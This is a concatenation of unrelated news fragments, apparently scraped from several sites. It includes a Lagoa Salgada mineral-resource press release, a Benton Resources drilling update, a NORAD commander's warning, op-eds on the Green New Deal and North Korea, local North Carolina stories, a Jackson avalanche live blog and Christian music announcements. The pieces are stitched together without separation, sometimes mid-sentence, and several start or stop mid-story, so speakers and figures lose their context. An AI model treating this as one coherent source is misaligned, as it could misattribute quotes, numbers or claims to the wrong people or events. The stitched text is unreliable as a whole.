Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zones kt % % % % % g/t g/t Indicated SW2 1,789 4.99 0.58 1.88 0.95 0.00 24.33 0.07 Inferred SW2 3,899 4.50 0.52 1.65 0.89 0.00 22.36 0.06

Notes to all tables and highlight point:

Mineralized Zones, GO=Gossan, MS=Massive Sulphide, SW=Stringer, SW2=Stockwork

Cut-off: Zn-Eq  3.00%

Zn-Eq = [Zn%]+([Cu%]*2.652)+([Pb%]*0.913)+([Au g/t]*1.585)+([Ag g/t]*0.025)+([Sn%]*7.565)

Densities: GO = 3.11, MS = 4.85, SW = 2.91, SW2 = 2.91

Chris Buncic, President & CEO of Ascendant stated, We are exceptionally pleased to deliver on our goal of significantly expanding and upgrading the Mineral Resource Estimate at Lagoa Salgada. The material increases in scale of the resources represent a significant milestone for Lagoa Salgada and validates our initial investment thesis that a modest drilling budget could provide outsize value and show the world class potential for Lagoa Salgada. Our 2018 exploration program was exceptionally well executed and significantly exceeded expectations by nearly doubling the tonnes in both deposits while concurrently improving the grade profile of the deposits.

He continued, The success of our exploration work in 2018 demonstrates the overall growth potential and scalability of the Project, which the Company plans to expand with further exploration work this year. Given the deposits are located near surface with significant targets identified from the IP and gravimetric survey data, we are excited about future drilling and overall long-term development potential of the Project.

The North Zone, previously referred to as the Main Massive Sulphide Zone, saw a substantial transition as the deposit now includes a Measured Resource of 1.8 million tonnes at a grade of 11.02% ZnEq, as well as Indicated Resources of 4.3 million tonnes at an average grade of 8.7% ZnEq. The largest increase was to the Inferred Resources of 7.8 million tonnes with an average grade of 7.4% ZnEq.

The Mineral Resource Estimate update incorporates all historic drilling and results of re-assaying of some historic drilling, the exceptional high-grade drill results from the 2018 exploration program announced in the Companys January 14, 2019 press release as well as the 4 remaining holes that complete the 20-hole program at Lagoa (see Figure 2). Metallurgical testing is underway, and the Company expects results during the first quarter of 2019.

Mineral Resource Estimate

The Mineral Resource Estimate was prepared by MICON INTERNATIONAL LIMITED (Micon). The effective date of this Mineral Resource Estimate is February 8, 2019, and it is based on 3 contiguous areas (North, Central and South zones) of VMS style mineralization defined by 50 diamond drill holes up to December 31, 2018. Leapfrog Geo 4.4.2 software was used to construct three dimensional (3D) solid models of sulphide mineralization reflecting a minimum grade of 3% ZnEq and to assign block grades for copper (%), zinc (%), lead (%), tin (%), silver (g/t), gold (g/t) and density (g/cm3) for Measured, Indicated and Inferred Mineral Resources using ordinary kriging interpolation methodology and capped 2-m hole assay composites. Up to four interpolation passes were applied using progressively increasing ellipsoid ranges to cover the range of 3D solid model sizes present. Block size is 5 m across strike (x) by 10 m along strike (y) by 5 m vertically (z). Mineral Resource categorization was applied using geometric criteria, i.e. spacing between drill holes/assay composites.

The new Technical Report to disclose the Mineral Resource Estimate is being prepared in accordance with National Instrument 43-101 (NI 43-101) and the CIM Standards for mineral disclosure by Micon. This Technical Report will be filed on SEDAR (www.sedar.com) within 45 days of this press release.

Quality Assurance and Quality Control

Analytical work was carried out by ALS Laboratories. Drill core samples were prepared in ALS Lab, in Seville, Spain. Pulp samples were then sent to their analytical Laboratory in Ireland for analysis. The core samples are analyzed for gold (ppm) by fire assay (AuAA25), and for the other elements by multi element analysis of base metal ores and mill products by optical emission spectrometry using the Varian Vista inductively coupled plasma spectrometer (ME-ICPORE). Samples from the Main Resource, LS_MS_DH ID, are also assayed for Tin (Sn) by ICP-AES after Sodium Peroxide Fusion (Sn-ICP81x).

ALS Laboratories has routine quality control procedures which ensure that every batch of samples includes three sample repeats, two commercial standards and blanks. ALS Laboratories is independent from Ascendant. Ascendant used standard QA/QC procedures when inserting reference standards and blanks for the drilling program.

Qualified Persons

The Mineral Resource Estimate contents of this press release have been reviewed and approved by Charlie Murahwi, M.Sc., P.Geo., Pr. Sci. Nat., FAusIMM, Senior Geologist, Micon International Limited.

Review of Technical Information

The scientific and technical information in this press release has been reviewed and approved by Robert Campbell, P.Geo., Vice President, Exploration for Ascendant Resources Ltd, whom is a Qualified Persons as defined in National Instrument 43-101.

About Ascendant Resources Inc.

Ascendant is a Toronto-based mining company focused on its 100%-owned producing El Mochito zinc, lead and silver mine in west-central Honduras and its high-grade polymetallic Lagoa Salgada VMS Project located in the prolific Iberian Pyrite Belt in Portugal.

After acquiring the El Mochito mine in December 2016, Ascendant spent two years implementing a rigorous and successful optimization program restoring the historic potential of El Mochito, a mine in production since 1948, to deliver record levels of production with profitability restored. The Company now remains focused on cost reduction and further operational improvements to drive robust profitability in 2019 and beyond. With a significant land package of approximately 11,000 hectares in Honduras and an abundance of historical data, there are several near-mine and regional targets providing longer term exploration upside which could lead to further Mineral Resource growth.

Ascendant holds an interest in the high-grade polymetallic Lagoa Salgada VMS Project located in the prolific Iberian Pyrite Belt in Portugal. The Company is engaged in exploration of the Project with the goal of expanding the already-substantial defined Mineral Resources and testing additional known targets. The Companys acquisition of its interest in the Lagoa Salgada Project offers a low-cost entry point to a potentially significant exploration and development opportunity. The Company holds an additional option to increase its interest in the Project upon completion of certain milestones.

Ascendant Resources is engaged in the ongoing evaluation of producing and development stage mineral resource opportunities, on an ongoing basis. The Company's common shares are principally listed on the Toronto Stock Exchange under the symbol "ASND". For more information on Ascendant Resources, please visit our website at www.ascendantresources.com.

Neither the Toronto Stock Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX) accepts responsibility for the adequacy or accuracy of this release.



For further information please contact:

Katherine Pryde

Director, Communications & Investor Relations

Tel: 888-723-7413

This email address is being protected from spambots. You need JavaScript enabled to view it.

Cautionary Notes to US Investors

The information concerning the Companys mineral properties has been prepared in accordance with National Instrument 43-101 (NI-43-101) adopted by the Canadian Securities Administrators. In accordance with NI-43-101, the terms mineral reserves, proven mineral reserve, probable mineral reserve, mineral resource, measured mineral resource, indicated mineral resource and inferred mineral resource are defined in the Canadian Institute of Mining, Metallurgy and Petroleum (the CIM) Definition Standards for Mineral Resources and Mineral Reserves adopted by the CIM Council on May 10, 2014. While the terms mineral resource, measured mineral resource, indicated mineral resource and inferred mineral resource are recognized and required by NI 43-101, the U.S. Securities Exchange Commission (SEC) does not recognize them. The reader is cautioned that, except for that portion of mineral resources classified as mineral reserves, mineral resources do not have demonstrated economic value. Inferred mineral resources have a high degree of uncertainty as to their existence and as to whether they can be economically or legally mined. It cannot be assumed that all or any part of any inferred mineral resource will ever be upgraded to a higher category. Therefore, the reader is cautioned not to assume that all or any part of an inferred mineral resource exists, that it can be economically or legally mined, or that it will ever be upgraded to a higher category. Likewise, you are cautioned not to assume that all or any part of a measured or indicated mineral resource will ever be upgraded into mineral reserves.

Readers should be aware that the Companys financial statements (and information derived therefrom) have been prepared in accordance with International Financial Reporting Standards (IFRS) as issued by the International Accounting Standards Board and are subject to Canadian auditing and auditor independence standards. IFRS differs in some respects from United States generally accepted accounting principles and thus the Companys financial statements (and information derived therefrom) may not be comparable to those of United States companies.

Forward Looking Information



This news release contains "forward-looking statements" and "forward-looking information" (collectively, "forward-looking information") within the meaning of applicable Canadian securities legislation. All information contained in this news release, other than statements of current and historical fact, is forward-looking information. Often, but not always, forward-looking information can be identified by the use of words such as "plans", "expects", "budget", "guidance", "scheduled", "estimates", "forecasts", "strategy", "target", "intends", "objective", "goal", "understands", "anticipates" and "believes" (and variations of these or similar words) and statements that certain actions, events or results "may", "could", "would", "should", "might" "occur" or "be achieved" or "will be taken" (and variations of these or similar expressions). Forward-looking information is also identifiable in statements of currently occurring matters which may continue in the future, such as "providing the Company with", "is currently", "allows/allowing for", "will advance" or "continues to" or other statements that may be stated in the present tense with future implications. All of the forward-looking information in this news release is qualified by this cautionary note.

Forward-looking information in this news release includes, but is not limited to, statements regarding the exploration activities and the results of such activities at the Lagoa Salgada Project and the potential to expand mineralization and increase mineral resources. Forward-looking information is based on, among other things, opinions, assumptions, estimates and analyses that, while considered reasonable by Ascendant at the date the forward-looking information is provided, inherently are subject to significant risks, uncertainties, contingencies and other factors that may cause actual results and events to be materially different from those expressed or implied by the forward-looking information. The material factors or assumptions that Ascendant identified and were applied by Ascendant in drawing conclusions or making forecasts or projections set out in the forward-looking information include, but are not limited to, the success of the exploration activities at Lagoa Salgada Project, the ability of the exploration results to expand mineralization and increase mineral resources, and other events that may affect Ascendant's ability to develop its project; and no significant and continuing adverse changes in general economic conditions or conditions in the financial markets.

The risks, uncertainties, contingencies and other factors that may cause actual results to differ materially from those expressed or implied by the forward-looking information may include, but are not limited to, risks generally associated with the mining industry, such as economic factors (including future commodity prices, currency fluctuations, energy prices and general cost escalation), uncertainties related to the development and operation of Ascendant's projects, dependence on key personnel and employee and union relations, risks related to political or social unrest or change, rights and title claims, operational risks and hazards, including unanticipated environmental, industrial and geological events and developments and the inability to insure against all risks, failure of plant, equipment, processes, transportation and other infrastructure to operate as anticipated, compliance with government and environmental regulations, including permitting requirements and anti-bribery legislation, volatile financial markets that may affect Ascendant's ability to obtain additional financing on acceptable terms, the failure to obtain required approvals or clearances from government authorities on a timely basis, uncertainties related to the geology, continuity, grade and estimates of mineral reserves and resources, and the potential for variations in grade and recovery rates, uncertain costs of reclamation activities, tax refunds, hedging transactions, uncertainty related to the results of the Companys exploration activities at the Lagoa Salgada Project, as well as the risks discussed in Ascendant's most recent Annual Information Form on file with the Canadian provincial securities regulatory authorities and available at www.sedar.com.

Should one or more risk, uncertainty, contingency, or other factor materialize, or should any factor or assumption prove incorrect, actual results could vary materially from those expressed or implied in the forward-looking information. Accordingly, the reader should not place undue reliance on forward-looking information. Ascendant does not assume any obligation to update or revise any forward-looking information after the date of this news release or to explain any material difference between subsequent actual events and any forward-looking information, except as required by applicable law.Photo: The Canadian Press Air Force Gen. Terrence O'Shaughnessy

The commander of North America's missile warning system is urging Canada and the U.S. to get on with upgrading the continent's defences in the face of threats unmatched since the Cold War.

Gen. Terrence O'Shaughnessy, the U.S. commander of the North American Aerospace Defence Command, or Norad, says Russia's recent military actions are one example of the risks facing Canada and the U.S.

Russia's actions include the resumption of fighter-jet patrols in the Arctic after 30 years, regular flights to the edge of Canadian and American airspace by heavy bombers and deploying cruise missiles in the North.

Canada and the U.S. are looking to upgrade the continent's defences, including the 1980s-era chain of radars in Canada's Arctic that supports Norad, to address these and other threats.

But O'Shaughnessy warns that the two countries can't fall into what he called "the paralysis of analysis trap" by endlessly discussing the problem and not acting.

O'Shaughnessy says Canada and the U.S. also need to better defend shared infrastructure such as power grids and find ways to make it too dangerous for anyone to contemplate an attack on North America.Metro Manila (CNN Philippines, February 13)  After noting multiple violations on the first day of the campaign period, the Commission on Elections warned candidates they have until Thursday to remove illegal posters before they take action.

"We will continue monitoring the status of compliance (with campaign rules) and by Friday we will be documenting everything (posters) that (hasn't) been taken down," COMELEC spokesman James Jimenez told CNN Philippines' New Day.Thunder Bay, Ontario--(Newsfile Corp. - February 12, 2019) - Benton Resources Inc. (TSXV: BEX) ("Benton" or "the Company") is pleased to provide an update that diamond drilling is well underway on the Panama Lake Gold project in the Red Lake Mining district located approximately 50km along strike from Great Bear Resources Ltd.'s 2018 gold discovery where drilling is ongoing. To date, the Company has completed five of seven planned drill holes within the Panama Zone. Upon completion, the drill will move to the Slate Lake zone where earlier the Company had selective grab samples grading up to 6.17g/t Au. This new prospect is located approximately 120m north of the area where a glacial till sampling survey conducted by the Geological Survey of Canada in 1999 (Open File 3038) identified 107 gold grains in till sampling, the highest count in the survey. The current series of holes has successfully intercepted a 20-30m wide, mineralized shear identified by Noranda Exploration Co, Ltd. in 1988, which yielded results of up to 2.8g/t Au over 4.5m. Benton views the project as having many similarities in geology and structure to that of Great Bear Resources Ltd.'s discovery to the west (see Great Bear's press release dated August 22, 2018). Benton will release results from the current Panama property drill campaign as soon as they are received and compiled and will plan further exploration work accordingly.

Benton is also pleased to update shareholders on the recent advancements at the Cape Ray Gold deposits ("Cape Ray") in Newfoundland by Matador Mining Limited ("Matador"). Benton currently holds 8 million shares and 833,333 options of Matador. Matador has recently announced a significant increase to the mineral resource at Cape Ray. Details of the increased resource are contained on Matador's website (Matadormining.com.au) in the press release dated January 29, 2019.

Benton is pleased with Matador's progress to date and views its strategic share position in Matador as a key asset to Benton shareholders as Matador continues to advance the Cape Ray deposits.

Nathan Sims (P.Geo.), Senior Exploration manager for Benton Resources Inc., is the qualified person responsible for this release and has prepared or supervised the preparation of or reviewed and approved the scientific and technical disclosure in this news release.

About Benton Resources Inc. (TSXV: BEX)

Benton Resources Inc is a well-funded Canadian-based project generator with a diversified property portfolio in Gold-Silver, Nickel, Copper, and Platinum group elements. Benton holds multiple high grade projects available for option which can be viewed on the company's web site. Most projects have an up to date NI 43-101 report available. Interested parties can contact Stephen Stares from the contact below.

On behalf of the Board of Directors of Benton Resources Inc.,

"Stephen Stares"

Stephen Stares, President

THE TSX VENTURE EXCHANGE HAS NOT REVIEWED AND DOES NOT ACCEPT RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

The information contained herein contains "forward-looking statements" within the meaning of applicable securities legislation. Forward-looking statements relate to information that is based on assumptions of management, forecasts of future results, and estimates of amounts not yet determinable. Any statements that express predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward-looking statements."

Forward-looking statements are subject to a variety of risks and uncertainties which could cause actual events or results to differ from those reflected in the forward-looking statements, including, without limitation: risks related to failure to obtain adequate financing on a timely basis and on acceptable terms; risks related to the outcome of legal proceedings; political and regulatory risks associated with mining and exploration; risks related to the maintenance of stock exchange listings; risks related to environmental regulation and liability; the potential for delays in exploration or development activities or the completion of feasibility studies; the uncertainty of profitability; risks and uncertainties relating to the interpretation of drill results, the geology, grade and continuity of mineral deposits; risks related to the inherent uncertainty of production and cost estimates and the potential for unexpected costs and expenses; results of prefeasibility and feasibility studies, and the possibility that future exploration, development or mining results will not be consistent with the Company's expectations; risks related to gold price and other commodity price fluctuations; and other risks and uncertainties related to the Company's prospects, properties and business detailed elsewhere in the Company's disclosure record. Should one or more of these risks and uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in forward-looking statements. Investors are cautioned against attributing undue certainty to forward-looking statements. These forward looking statements are made as of the date hereof and the Company does not assume any obligation to update or revise them to reflect new events or circumstances. Actual events or results could differ materially from the Company's expectations or projections

For further information contact Stephen Stares @:

684 Squier Street,

Thunder Bay, ON

P7B 4A8

Phone (807)475-7474

Cell (807)474-9020

Fax (807)475-7200

www.bentonresources.ca

This email address is being protected from spambots. You need JavaScript enabled to view it.Summerville, SC (29483)

Today

Sunny. High 84F. Winds ENE at 5 to 10 mph..

Tonight

Partly cloudy. A stray shower or thunderstorm is possible. Low 66F. Winds NE at 5 to 10 mph.Koto Japanese Sushi & Steak House has opened at 3619 Clemmons Road, just a couple doors down from Clemmons Kitchen.

Koto offers a full Japanese menu of sushi, hibachi and other dishes.

The restaurant is owned by Jian Tony Dong and Shao Ting Conner Li.

Dong is the kitchen chef, in charge of the hibachi and other cooked dishes. Li is the sushi chef.

Dongs wife, Mi Long Annie Yang, is the dining-room manager.

All three are natives of China who moved to North Carolina after 10 or more years of living in New York.

Li previously had worked in South Carolina and North Carolina. Yang and Dong had been working the Harris Teeter sushi bar in Clemmons.

We love the weather, Yang said in answer as to why they chose North Carolina to open a restaurant.

Though Chinese, all have previous experience working in Japanese restaurants. I just really like the Japanese flavors. And they are not all that different (from Chinese), Yang said.Police and legal officials need to foster trust with the immigrant community in order to fight crime. Thats jeopardized if immigrants think they have to run every time they see a deputy for fear of losing their homes or being separated from their families.

And crime victims who are afraid to speak up for fear of deportation mean more criminals on the street to endanger the rest of us.

ICE arrested 200 possible undocumented immigrants in North Carolina last week, but the agency said that the number hasnt increased  the arrests have just been more visible because other North Carolina sheriffs have ended their agreements with ICE.

But ICE has become more aggressive during the Trump era, with newly empowered federal agents intensifying their pursuit of not just undocumented immigrants with criminal records, but also thousands of illegal immigrants who have been otherwise law-abiding, The Washington Post reported. ICE regularly acts now in venues that they previously left alone, like voluntary check-ins with immigration officials or courthouses where undocumented immigrants appear for legal proceedings.The problem, however, is that once you say you support the GND, you are stuck defending the text of the GND. (And by the way, there is considerable confusion about what is actually in the GND. Anyone who signs on to something this far-reaching without nailing down specifics is going to get slammed.)

Turning very ambitious goals into precise mandates is fraught with political peril and altogether unnecessary. Take away the 10-year mandate and set out reasonable goals, for example, to reduce greenhouse emissions by X percent. Then you can lay out some concrete ways to get there (e.g., spend X on public transit, set fuel efficiency standards at Y, eliminate subsidies to fossil-fuel producers). Thats how legislating and governing actually work, and it is one way to allay fears that Democrats are wild-eyed radicals bent on wrecking the economy in the name of unattainable ends. The exercise winds up discrediting the altogether reasonable and urgent need to make progress to slow climate change.

Its frankly dishonest to pledge to achieve nirvana in 10 years, falsely telling voters they can have the moon and the stars without much difficulty. Its only one step removed from I alone can fix it and from the nonsensical claim that the solutions are easy and all agreed upon, just the will is missing.One of the early debates among would-be Democratic presidential nominees will almost certainly center on climate change and the response thereto. And its never too early to hope the moderators and panelists come prepared to, er, drill down on the specifics of the Green New Deal. When Democrats introduced it last week, its key architect Rep. Alexandria Ocasio-Cortez (D-N.Y.) shared an overview, a list of frequently asked questions and requirements, to explain the resolution. Her office later retracted the document, but not before some in the Democratic field of presidential candidates had endorsed the Green New Deal with such alacrity that they seemed to be adopting all of Ocasio-Cortezs platform while it was still public and just beginning to attract derision.

So, here are some suggested questions based on many in the fields endorsement of the original Green New Deal:

As you know, the original Green New Deal appeared to call for the end of cows. How do you envision this taking place? How will cattle owners be compensated? What will happen to the dairy industry? Whats the impact on the GDP and unemployment rate of wiping out cows? Is there a technological response to the cow fart problem identified in the Green New Deal? Can you describe it?Trump's first surrender three weeks ago temporarily conceded that he would not be able to make those things happen. Now the new compromise suggests Republicans want him to agree to reopen the government for far longer, without getting those legal changes or the wall.

"We have yet to see the details in writing, but based on news reports, I'd say this deal is a huge loss for Donald Trump and Stephen Miller," Frank Sharry, the executive director of the pro-immigrant America's Voice, told me.

"This deal has no money for his concrete wall and less money for barriers than was on offer last December," Sharry added. "Trump tried to use a shutdown to force through radical policy changes, and at this point, Republicans are saying, 'Let's keep the government open and move on.' "

Sharry conceded that the failure to get detention bed caps is a "real setback." But he also noted that in six months, Democrats can renew the battle for caps, now that "a lot of lawmakers understand that ICE is detaining many more people than Congress funds. We live to fight another day."Trump tried to put the best face on this stark assessment afterward, tweeting: "North Korea relationship is best it has ever been with U.S. No testing, getting remains, hostages returned. Decent chance of Denuclearization." All true, except for the last bit, which remains fuzzy, at best.

Stephen Biegun, Trump's special envoy for North Korea, offered a frank account in a Jan. 31 speech at Stanford University. "North Korea has given us little indication that they have yet made the decision to completely dismantle and destroy that [nuclear] capability. We all know that." The challenge, he said, is to "change the trajectory of their policies by changing the trajectory of our own."

Biegun has been collecting ideas from experts from Stanford and the Carnegie Endowment for International Peace. It's not clear what, if anything, has emerged from these conversations, but papers prepared by the two groups illustrate some of the background issues for the Hanoi meeting.

The Carnegie group, led by George Perkovich, Ariel Levite and Toby Dalton, has focused on the importance of comprehensive, verifiable caps on North Korea's nuclear arsenal, during the long process toward denuclearization. In gathering information for their recommendations, they've held meetings with Chinese and other international experts.

Thank you for reading! We hope that you continue to enjoy our free content.Photo: Contributed

A purse containing a prom invitation, photos and other items from 1950s America will be returned to its now 82-year-old owner after workers found it while demolishing part of an Indiana high school.

Martha Everett lost the black stitched purse more than six decades ago. Workers found it in January behind science classroom cabinets in the old Jeffersonville High School, where Everett was a senior in 1955.

Greater Clark County Schools spokeswoman Erin Bojorquez says the district was able to track Everett "thanks to the power of social media" after one of her relatives saw a Facebook post about the purse. The district plans to mail the purse to Everett's home in Florida.

The News and Tribune reports it contained a wallet, a letter inviting her to the prom, lipstick, photos and Juicy Fruit gum wrappers.Many in the public who spoke stressed that the board should operate in a transparent manner. The Wiley discussion advanced to the Building and Ground Committee meeting on Jan. 22 without all known costs or timelines of possible expansions known at the time.

Others warned that rearranging projects, such as Wileys, within the 2016 bond package might not go over well with the public, since the projects were voted on in a particular order.

Ronda Mays, president of the Forsyth County Association of Educators, said the board needs to be good stewards of taxpayer money and stick with what was approved in the bond.

Theres been talk that there may be another bond sooner than later, but there may not be because as what has been said over and over in the community, if certain things dont happen and schools arent built the way they need to be built, voters are not going to approve another bond, she said. And we have to be mindful of that because if the voters dont approve a bond thats going to limit what we can do as a school system.

The public comments included concerns for Brunson Elementary School, as well. A new Brunson was approved in the 2016 bond package, and supporters of that project wanted the board to know they hope this still goes through.He said my son was in the hospital, but he didnt know which one, Williams recounted.

He was determined to find his son, however, so Williams and his wife got back in the car, this time with Rochelle, and started toward the hospital to find what happened to his son. They didnt get far.

He said, Pull over. I think hes actually at some apartments, Williams said, adding that Rochelle admitted the hospital story was untrue.

Rochelle directed them to Bethabara Garden Apartments on Hickory Knoll Drive in Winston-Salem, where they unsuccessfully searched for Nicholas, Williams said. After about an hour, they returned to the house.

We came back, and my sons car was gone, Williams said.

The house was also locked, and they had to ultimately break a window to get inside. Williams felt something odd was going on at that point and called the sheriffs office. He found the house ransacked and his guns, which were being stored at his sons house, were on the floor. His sons two cellphones were still at the house.

Williams was upset at the fruitless search Rochelle led them on.

I think it was a distraction, a way to get us away from the house, he said.The N.C. Travel Industry Association lists school calendars as the No. 2 item on its 2019 legislative agenda.

The association said Wednesday that it believes a synchronization between the public schools and community colleges can be achieved by bringing the community college calendar to the public schools start and end date.

Not only would this achieve the desired outcome for calendar reform advocates, it would also strengthen North Carolinas tourism industry, create more good paying jobs in the state, and expand funding for public education, the association said.

Odds in legislature

Matt Ellinwood, the director of Education and Law Project with the left-leaning N.C. Justice Center, said the House may be more willing to consider local school calendar bills in part as eastern counties request more flexibility to deal with what is becoming annual damages from hurricanes.

There may be more support on both side of ideological spectrum now as more parents in more counties are wanting to start school earlier so their children can finish first semester final exams before Christmas break, Ellinwood said.It was a bigger place, said Horn, who used to skateboard in front of the T-Shirt Emporium as a young teenager. It was a mansion of a skate shop, and it was like, Oh my God. What is he going to put in there? He filled that place with more shoes, more product and more inventory than wed ever seen in our entire lives. There was a large group of us, old ones, younger guys. We all loved the shop. It was the only place we could go. It was just a good vibe. Everything in the store smelled like the sweetest incense. You didnt want to leave the store.Document would be kept in records

Krawiec is also a primary sponsor, along with Ballard and Sawyer, of Senate Bill 52 that was introduced Tuesday. Companion legislation, House Bill 53, was also submitted Tuesday.

Both bills are titled A Second Chance for LIFE. If the bill is passed and signed into law, it would take effect Oct. 1.

The bills would require abortion providers to give women undergoing drug-induced abortions information from the N.C. Department of Health and Human Services that they could still have a live birth if they change their mind after the first of two doses is administered.

Women would have to certify, in writing, they were provided the DHHS information and informed of their options. Certification would be maintained in the womans medical records.

There would be a requirement for the DHHS language to be posted on a state website covering The Womens Right to Know Act.

The American Congress of Obstetricians and Gynecologists has said there is no medically accepted evidence that a drug-induced abortion can be interrupted.It's not a typical way of learning and certainly not a typical classroom, and that is exactly the point of the Community School.

Based out of Clarence Fulton Secondary, the Community School takes a unique approach to learning while still teaching students what they need to know.

Community School was created about five years ago and it was focussed on that it had to be a strong community and breaking away from the more traditional ways of teaching, said Murray Sasges, teacher and program founder.

Sasges said the class focusses on thinking skills, social and emotional skills and making the learning driven by inquiry and not so much teacher directed and giving the students lots of opportunities to take up their own learning and being responsible for it.

The program breaks down traditional barriers to learning and helps students to rebuild their curiosity about learning.

We work a lot in the community, said Sasges. So we have a lot going on in the community as well as here in Fulton.

Grade 8 student Lucy McGinty said the Community School has exposed her to a new way of learning.

It's so different, but I really enjoy it here because of the freedom especially, she said. But it's still controlled enough I can do what I want to do and still learn at the same time.

It teaches a lot of responsibility as well. I really enjoy this a lot more than regular school.

At the Community School, McGinty said she feels a lot more involved in what she is learning.For a better experience on our website and avoid any trouble, we strongly recommand to activate Javascript ( click here ).

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Check out our questions and answers here !JOPLIN, MO - LuAnn Lett, 63, a former nurse for St. John's Hospital, passed away June 22, 2021. Graveside services will be at 1 p.m. Friday at Osborne Cemetery, Joplin. Arrangements are under the direction of Parker Mortuary.Photo: Contributed Jordan Perkins is selling this painting for $700 with the money going to a charity of the buyer's choice.

Jordan Perkins is not monkeying around with his offer to help a local charity.

The artist is offering one of his paintings for sale at $700 with all of the money going to a charity of the buyer's choice.

Perkins got the idea to donate money from the work of art, a three-foot by five-foot painting of a monkey, because he wanted to give something back to the community.

I want to donate money to charity. I don't have the money, but I have this painting. If I could find someone to buy the painting for $700, then they would tell me what charity to donate that $700 to, he said. This way the person will get a painting and donate to charity.

Perkins said if someone was planning on donating to a registered charity anyway, they can get a painting out of the deal as well.

The monkey painting would be good in a child's room, or anywhere. People like a smiling monkey, said Perkins.

My donation part of this is I will donate my time and material and encourage somebody else to donate the money.

Anyone interested in buying the painting for charity can contact Perkins via Facebook, Instagram, or email him at [email protected].Avalanches slid above South Highway 89 and off of East Gros Ventre Butte onto Spring Gulch Road and behind Miazga's as a heavy storm moved int

Play-by-play reporting

UPDATE, 4:30 P.M.: An avalanche has caused the potential for Flat Creek to flood so anyone who is parked in the west end of the Town Creek Condominiums parking lot is encouraged to move their vehicles.

Town of Jackson is allowing those residents to park in Miller Park overnight. Public Works crews are trying to move snow to avoid more flooding.

The Elk Refuge Road at E. Broadway is closed "to all but local traffic" due to dangerous weather conditions, according to Teton County Emergency Management.

Additionally, START announced the Wednesday evening Teton Valley commuter bus that usually leaves at 7:30 p.m. will depart at 6:15 p.m. because of weather.

UPDATE, 3:30 p.m. At least four vehicles were partially buried after an avalanche off East Gros Ventre Butte on Wednesday afternoon near T.J. Maxx.

Another small avalanche has caused blockage of one lane on Spring Gulch Road. The slide's crown is about 18 feet above the road with about 16 inches of snow and debris piled in the northbound lane.

UPDATE, 1:20 p.m.: WYDOT has cleared the snow off Highway 89 and the road is slowly reopening.

UPDATE, 12:47 P.M.: Driver Dawn Dunlap, of Jackson, didn't know what hit her car in the first moments an avalanche flowed onto Highway 89.

"I thought it was a gust of wind at first. I was going about 45 mph, not too fast, and then wham it just came down and hit me," Dunlap told the News&Guide. "I thought I was going to end up upside down."

WYDOT Forman Bruce Daigle said he's glad she's OK. "I'm just glad no one got hurt," Daigle said. "Everyone should expect more slides with this incoming storm. It will have a lot of moisture."

UPDATE, 12:44 p.m.: One car was caught in the slide and damaged, but no one was injured.

Only one northbound lane and one southbound lane are currently open to traffic.

Wyoming Highway Patrol and WYDOT are on the scene, and loaders are on the way to clear the debris.

WYDOT officials say the avalanche may have been triggered by wildlife. WYDOT is issuing an alert for no unnecessary travel.

ORIGINAL STORY: An avalanche that slid onto Highway 89 a mile south of High School Road is blocking all lanes of traffic, the Wyoming Department of Transportation reported at 12:21 p.m.

This is a developing story.

This version of the article corrects the roadway that Dawn Dunlap was driving on when the avalanche hit as well as the name of the housing complex near TJ Maxx.  Ed.Scene Editor Billy Arnold covers arts and entertainment. He apprenticed as a sound engineer at the Beachland Ballroom in Cleveland, Ohio before making his way to Jackson, where he has become a low-key fan of country music.Allie Gross covers Teton County government. Originally from the Chicago area, she joined the News&Guide in 2017 after studying politics and Spanish at Vanderbilt University in Nashville.Kylie Mohr covers the education and health beats. Mohr grew up in Washington and came to Wyoming via Georgetown. She loves seeing the starry night sky again.February 13, 2019 (Springdale, Arkansas)  Grammy and Dove Award-winning musician Ron Rawls enters the artist arena with todays release of his first single as a solo entertainer. Heavens Perspective, is going for adds to Christian AC and Gospel-formatted radio outlets.

Rawls, who has worked as a touring musician during the last few years, currently is musical director for popular artist and American Idol alum Mandisa. Rawls earned his Grammy and Dove Award wins for working on Mandisas 2013 album, Overcomer, which took home the Best Contemporary Christian Music Album Grammy in 2014.

Musical talent runs through Rawls DNA. Growing up in a musical family, he first played piano at his church in his hometown of Huntsville, Alabama. Later, he relocated to the Nashville area, where he earned a bachelors degree in music production and technology from Middle Tennessee State University.

Tyler Howell and Gabriel Wilson wrote Heavens Perspective, which features Maya Robinson on vocals. Rawls produced the single for Red Torch Music. A video for Heavens Perspective can be viewed here.

To learn more about Rawls, visit rawlsmusic.com, like him on Facebook and follow on Instagram and Twitter.

###NASHVILLE, Tenn. - - Integrity Music welcomes Catholic worship leader and songwriter Sarah Kroger and announces the April release of her new album, Bloom, produced by Audrey Assad. The album is preceded by singles Pieces, featuring a duet with Assad, on Feb. 22 and Freedom In The Spirit on March 22.

Kroger, a Melbourne, Florida, native who is now based in Nashville, developed a love for music as a child when she began singing in church choirs while following in the steps of her music minister parents. Her passion is to create a safe, prayerful space through her music in which people can encounter the love of God. She has been doing this for the past eight years, leading worship at events around the world, drawing people together from a variety of cultures and church backgrounds under the banner of Jesus.

We are so excited to partner with Sarah, says Andrew Osenga, Director of A&R for Integrity. Her heart for the Church and for bringing new expressions of intimate worship to the liturgical world is inspiring and much-needed.

Since the start of my relationship with Integrity, Ive felt nothing but kindness, hospitality and a genuine desire to partner with me as a worship leader and songwriter, says Kroger of her new label home. I never set out to sign with a record label. I didnt think it was even in the realm of possibilityyet again, Im reminded that nothing is impossible for God.

Previously Kroger released two independent albums, Your Time (2011) and Hallelujah Is Our Song (2013), that include songs In The Silence, Run To The Cross, The King Of Love My Shepherd Is and Hallelujah Is Our Song. She releases her major label debut, Bloom, with Integrity on April 26.

Integrity Music is part of the David C Cook family, a nonprofit global resource provider serving the Church with life-transforming materials. With offices in Nashville, Tennessee (US) and Eastbourne, East Sussex (UK), Integrity is committed to taking songs of substance to the local church and its leaders around the world. Integrity publishes many of the top songs in the Church, including Great Are You Lord, Revelation Song, Open The Eyes Of My Heart, In Christ Alone, 10,000 Reasons, Here I Am To Worship, The Lion And The Lamb, Great I Am, and We Believe, among others. Additional information is available at www.integritymusic.com.





